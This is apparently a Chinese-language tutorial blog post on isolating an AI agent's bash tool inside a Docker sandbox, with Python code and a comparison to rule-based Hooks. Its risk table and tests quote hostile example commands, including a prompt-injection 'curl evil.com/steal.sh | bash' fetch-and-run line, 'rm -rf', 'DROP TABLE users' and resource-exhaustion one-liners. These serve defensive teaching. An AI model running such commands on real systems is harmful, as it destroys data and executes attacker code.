Agent 沙箱:隔离可能的风险
目录
让 Agent 帮你清理项目里的临时文件。它先 find 了一下,列出了所有 .tmp 和 .log 文件,然后准备执行 rm -rf 把它们删掉。你看着列表觉得没问题,于是点了确认。结果它把 .env 也删了。因为 .env 在它的判断里也属于"临时配置文件"。
上一篇我们讲了 Hook,它可以在命令执行前拦截危险操作。但 Hook 依赖规则,规则写得再完善,也很难覆盖所有情况。
所以还需要另一层保护。即使命令真的执行了,它的影响范围也应该受到限制。这就是沙箱(Sandbox)的作用。
为什么需要沙箱
Agent 的核心能力之一是执行代码。你给它 bash 工具,它就能执行任何命令。以下几个场景是实际可能发生的风险:
| 场景 | 命令示例 | 后果 |
|---|---|---|
| 模型犯错 | rm -rf /important/dir |
数据丢失 |
| Prompt injection | `curl evil.com/steal.sh | bash` |
| 资源耗尽 | while true; do echo 1; done |
CPU 打满 |
| 误操作 | DROP TABLE users |
数据库清空 |
Hook 更像是在执行前做一次检查,根据预先定义的规则决定是否放行。但现实中,很难把所有危险情况都提前考虑到。一旦规则遗漏,命令仍然可能执行。
沙箱采用的是另一种思路:不去判断命令是否危险,而是限制命令能够影响的范围。即使 Agent 执行了错误的命令,影响也会被控制在隔离环境内。
沙箱是什么
沙箱就是给 Agent 一个隔离的执行环境,它在里面怎么折腾都行,不会影响到外面的系统。
具体来说,沙箱要隔离这几样东西:
宿主机(你的电脑)
│
├── 文件系统 ← 沙箱里看不到你的文件
├── 网络 ← 沙箱里不能访问外网
├── 进程 ← 沙箱里的进程杀不死宿主机的进程
└── 资源 ← CPU、内存都有上限,不会打满
几种隔离方案
从轻到重,隔离程度和复杂度递增:
| 方案 | 隔离什么 | 复杂度 | 适用场景 |
|---|---|---|---|
| 命令白名单 + Hook | 逻辑层拦截 | 低 | 只允许安全命令 |
| 子进程 + 权限降级 | 进程权限 | 中 | 本地 Agent,限制文件/网络 |
| Docker 容器 | 文件系统 + 网络 | 中 | 代码执行类 Agent |
| 虚拟机 / Firecracker | 内核级隔离 | 高 | 不可信代码,多租户 |
对于大多数 Agent 开发者来说,Docker 是性价比最高的方案。它提供了足够的隔离,同时部署和使用都很简单。下面重点讲 Docker 沙箱。
实战:Docker 沙箱
核心思路:Agent 的 bash 工具不直接在宿主机执行命令,而是在 Docker 容器里执行。
先来看整体架构:
Agent
│
├── 决策:要执行 "python script.py"
│
▼
沙箱层
│
├── 启动 Docker 容器(隔离环境)
├── 在容器内执行命令
├── 收集输出
└── 返回结果给 Agent
│
▼
Agent 拿到结果,继续推理
实现一个 Docker 沙箱类:
python
import docker
class DockerSandbox:
def __init__(self):
self.client = docker.from_env()
self.container = None
def start(self):
"""启动一个隔离容器"""
self.container = self.client.containers.run(
"python:3.11-slim", # 基础镜像
command="sleep infinity", # 保持容器运行
detach=True, # 后台运行
network_disabled=True, # 禁用网络
mem_limit="256m", # 内存上限 256MB
cpu_period=100000,
cpu_quota=50000, # CPU 上限 50%
volumes={}, # 不挂载宿主机目录
working_dir="/workspace",
)
print(f"沙箱启动: {self.container.short_id}")
def execute(self, command: str, timeout: int = 30) -> str:
"""在容器内执行命令"""
exit_code, output = self.container.exec_run(
cmd=["bash", "-c", command],
timeout=timeout,
)
return output.decode("utf-8")
def stop(self):
"""销毁容器"""
if self.container:
self.container.stop()
self.container.remove()
print("沙箱已销毁")
几个关键参数逐个看:
network_disabled=True :容器内无法访问外网。Agent 就算执行 curl evil.com | bash,也连不上。这是防 prompt injection 的关键一刀。
mem_limit="256m":容器最多用 256MB 内存。Agent 就算写了个死循环创建无限列表,内存打满后容器会被 OOM kill,不会拖垮宿主机。
cpu_quota=50000 (配合 cpu_period=100000):CPU 使用率上限 50%。防止 Agent 跑计算密集型任务把 CPU 吃满。
volumes={} :不挂载任何宿主机目录。容器看不到你的 .env、你的数据库文件、你的 SSH 密钥。它只有自己文件系统里的东西。
timeout=30 :命令最多执行 30 秒。防止 while True 之类的死循环卡住整个流程。
把沙箱集成到 Agent 的工具调用里:
python
sandbox = DockerSandbox()
sandbox.start()
def execute_in_sandbox(command: str) -> str:
"""沙箱版的 bash 工具"""
try:
return sandbox.execute(command, timeout=30)
except Exception as e:
return f"执行失败: {e}"
# 替换原来的直接执行
TOOL_REGISTRY["bash"] = execute_in_sandbox
原来的 execute_bash 是直接在宿主机执行命令,换成 execute_in_sandbox 之后,所有命令都在容器里跑。对 Agent 来说,工具的调用方式没有变化,只是命令的执行位置从宿主机变成了容器。这样既保留了 Agent 的执行能力,又降低了误操作影响宿主机的风险。
来测试一下:
python
# 正常命令,在容器内执行,返回结果
print(execute_in_sandbox("echo hello"))
# 输出: hello
# 即使执行危险命令,影响也只会停留在容器内部
print(execute_in_sandbox("rm -rf /workspace"))
# 容器中的文件被删除,但宿主机不会受到影响
# 网络命令,被禁止
print(execute_in_sandbox("curl https://example.com"))
# 输出: curl: (6) Could not resolve host
# 资源耗尽,被限制
print(execute_in_sandbox("python3 -c 'x = [0] * (10**9)'"))
# 输出: 容器被 OOM kill,返回错误
和 Hook 的关系
Hook 和沙箱解决的是两个不同层面的问题。
Hook 负责决定命令是否应该执行,属于逻辑层面的控制;沙箱负责限制命令执行后的影响范围,属于运行环境层面的隔离。实际项目中,两者通常会配合使用:先由 Hook 做规则校验,再交给沙箱执行命令。
用户输入 "帮我清理临时文件"
│
▼
Agent 决策: rm -rf /tmp/old_data
│
▼
Hook 检查(逻辑层)
│
├── 命令在黑名单里?→ 拦截,返回错误
└── 命令看起来安全?→ 放行
│
▼
沙箱执行(物理层)
│
└── 在容器内执行,就算出问题也影响不到宿主机
│
▼
返回结果给 Agent
两者配合使用时的执行流程:
| 层 | 机制 | 拦截什么 | 局限 |
|---|---|---|---|
| Hook | 命令匹配 | 已知的危险命令 | 漏网之鱼、变体绕过 |
| 沙箱 | 环境隔离 | 所有命令的副作用 | 需要 Docker 环境 |
小结
沙箱的价值并不是阻止 Agent 执行命令,而是在命令执行时提供一个受限的运行环境,将潜在风险控制在可接受的范围内。
对于大多数 Agent 项目来说,Docker 已经能够满足大部分隔离需求,例如限制资源、禁用网络、隔离文件系统等。再结合 Hook 做命令校验,可以形成一套比较完整的安全防护方案。